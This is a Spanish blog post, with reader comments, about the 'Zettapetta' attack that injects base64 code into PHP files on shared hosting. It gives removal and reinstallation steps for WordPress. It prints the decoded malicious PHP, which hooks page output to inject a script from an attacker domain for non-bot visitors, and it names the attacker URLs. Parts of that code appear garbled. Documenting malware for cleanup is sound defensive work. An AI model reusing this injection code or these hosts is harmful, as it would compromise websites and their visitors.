Zettapetta: Nuevo ataque a servidores compartidos

Desde hace unos días hay nuevas noticias de ataques a sitios que estén basados en PHP, como lo está WordPress, y hoy ya puedo dar indicaciones algo claras al respecto, perdonad el retraso no obstante.

Lo primero a aclarar es que no es un ataque masivo a WordPress, sino que esta inyección de código afecta a cualquier web basada en PHP y, a día de hoy, el otro dato relevante es que además compartan servidor, no está pasando en servidores dedicados. De hecho, si fuera un ataque masivo a WordPress habría muchos más sitios infectados, dado la enorme implantación que a día de hoy (gracias a vosotros) tiene este CMS.

Esto nos hace pensar en dos posibles causas, una segura. La primera es que el atacante utiliza vulnerabilidades de seguridad del servidor en el que está alojado y que comparte con otros sitios, y la segunda que algo está permitiendo que el código se inyecte en los ficheros PHP de los sitios atacados, ya sea un plugin mal diseñado, una mala configuración de seguridad del CMS utilizado. No obstante yo apuesto por la primera opción porque el Zettapetta este ha infectado sitios estáticos en donde había un par de ficheros PHP sueltos y, como ya he dicho, si fuera algo especial para WordPress estaríamos todos infectados, o casi, y no es así.

Este caso es especialito, porque incluso hay un vídeo en el que el supuesto causante explica como inyectar código en servidores compartidos de Networks Solutions ¡sin tener que robar nombres de usuario y/o contraseñas!

Afortunadamente hay solución.

Los atacantes están infectando las webs con un script que trata de inyectar software malicioso a los sitios «cliente» y, además, evita que los mecánismos anti-malware que incluyen los modernos navegadores como Firefox y Safari puedan detectarlo.

El script afecta a cualquier servidor compartido, y ya se han comprobado ataques en varios proveedores de hosting de primer nivel, como Mediatemple.

En los sitios atacados se insertaba este javascript:

http://zettapetta.com/js.php

Y lo que hace el Zettapetta este de las narices es añadir un montón de código en base64 al principio de todos los ficheros PHP que se encontrara en el servidor, recursivamente. Vamos, que si entra en tu WordPress infecta todos los ficheros ‘core’, los de los plugins, los temas, todo, hasta el wp-config.php y los index.php habitualmente vacíos.

Una vez descodificado el base64 lo que contiene es esto:

if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists('mrobh')){ if(!function_exists('gml')){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){ return base64_decode("<script src="http://indesignstudioinfo.com/ls.php"></script>"); } return ""; } } if(!function_exists('gzdecode')){ function gzdecode(<script src="http://indesignstudioinfo.com/ls.php"></script>){ [email protected](@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){
 [email protected]('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); } }

El bicho tiene tela así que a limpiar se ha dicho …

Lo primero es probar el hack que han elaborado en Securi.net. Descargas este archivo a tu escritorio:
http://sucuri.net/malware/helpers/wordpress-fix_php.txt y lo renombras a wordpress-fix.php

Una vez hecho esto lo subes a tu sitio por FTP y lo ejecutas desde el navegador. O sea:

El script tarda unos minutos en completarse ya que escanea todo tu sitio y quita las entradas de malware, recursivamente también.

Cuando termine puedes borrar el archivo y, a continuación, para asegurar que dejas todo limpio, seguir estas indicaciones, las de siempre:

  • Exporta todo tu contenido mediante la utilidad de exportación de WordPress y guarda la carpeta wp-content así como cualquier otra que utilices de modo manual. Revisa tu tema, plugins y carpetas de uploads, etc, antes de darlos por seguros.
  • Revisa el fichero wp-config.php para eliminar cualquier posible inyección de código, cambia los permisos a 644 o, mucho mejor, carga un wp-config.php totalmente limpio.
  • Cambia todas las contraseñas: ftp, base de datos. Usa contraseñas fuertes, usando caracteres alfanuméricos y símbolos
  • Como el problema afecta a la base de datos hay que descartarla. Borra la actual y crea una nueva o, en su defecto, revisa cada una de las tablas
  • Borra todo el contenido de la instalación actual de WordPress (recuerda que antes has hecho backup)
  • Instala un WordPress limpio (última versión), usando la información de la nueva base de datos recién creada
  • Carga tu carpeta wp-content de nuevo, una vez comprobado que todo está limpio
  • Importa los posts de tu sitio que exportaste con la utilidad de importación de WordPress
  • Configura tu WordPress de manera segura siguiendo las instrucciones de los enlaces facilitados

¡Que el backup te acompañe!

VALORA Y COMPARTE ESTE ARTÍCULO PARA MEJORAR LA CALIDAD DEL BLOG…
(0 votos, promedio: 0)

¿Te gustó este artículo? ¡Ni te imaginas lo que te estás perdiendo en YouTube!

AVISO: Esta publicación es de hace 3 años o más. Si es un código o un plugin podría no funcionar en las últimas versiones de WordPress, y si es una noticia podría estar ya obsoleta. Luego no digas que no te hemos avisado.

10 comentarios en “Zettapetta: Nuevo ataque a servidores compartidos”

  1. Pingback: Zettapetta: Nuevo ataque a servidores compartidos

  2. Pingback: Nuevo ataque a servidores compartidos (Zettapetta) | Todo Tutoriales web

  3. Solo una puntualización. Las bases de datos no se han visto comprometidas con ninguna inyección de código. Parece que el ataque se ha centrado en la inyección de código en los archivos php y posteriormente en la inclusión en el servidor de archivos html con la intención de hacer SEO SPAM.

  4. Yo nunca repararía un sitio ejecutando un PHP de un tercero que hiciera modificaciones masivas a mis ejecutables (es lo que hizo el atacante), salvo que estudiara todo el código y me fiara, pero lo veo innecesario.

    El remedio podría ser en realidad un ataque, no es la primera vez que meten un ataque con la colaboración de un administrador asustadizo e inexperto. En mi humilde opinión, lo más seguro es tirar de backup.

    No se menciona la vulnerabilidad, por eso no sé cual es la puerta que hay que cerrar salvo tener los permisos configurados correctamente porque es obvio que los destrozos que te pueden hacer si permites que te modifiquen un ejecutable en tu servidor son evidentes. Y si modifican un PHP las BB.DD. también corren peligro.

  5. Hola,

    ¿Como puedo saber si mi web esta infectada? desde esta mañana tiene muchos problemas de conexion pero no se si sera mi sitio o sera el de otro sitio que comparte host conmigo.

  6. Tengo dos blogs WP y a raíz del ataque similar del 1ro. de mayo, a uno le dejé todos los archivos .php con atributos de sólo lectura y al otro blog no. En este nuevo ataque el blog con permisos de sólo lectura no fue infectado, el otro sí. Hay soluciones muy simples como verán.

    Saludos.

  7. Estimado, eso es posible hacer con el c99, de hecho el shell que se muestra en el video es el c99, este shell es muy facil de insertar si tienes algun directorio con permisos 777, de hecho la mayoría de las instalaciones wordpress / Joomla son realizadas por gente inexperta, pero tambien es cierto que algunas carpetas requieren estos permisos como wp-content/uploads , a no ser que que en tu servidor tengas compilado php con SUphp, que vendría siendo el sudo de apache por lo que no necesitas poner en riesgo dando ese tipo de permisos a las carpetas… También existen otros factores.

  8. El Script tambien funciona en aplicaciones como Mambo y Joomla asi que pueden usarlo con tranquilidad que lo probe en estos CMS tambien.

  9. Pingback: Volviendo a las pistas…(seguridad en wordpress) | TUXTON

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

 

Ir arriba Ir al contenido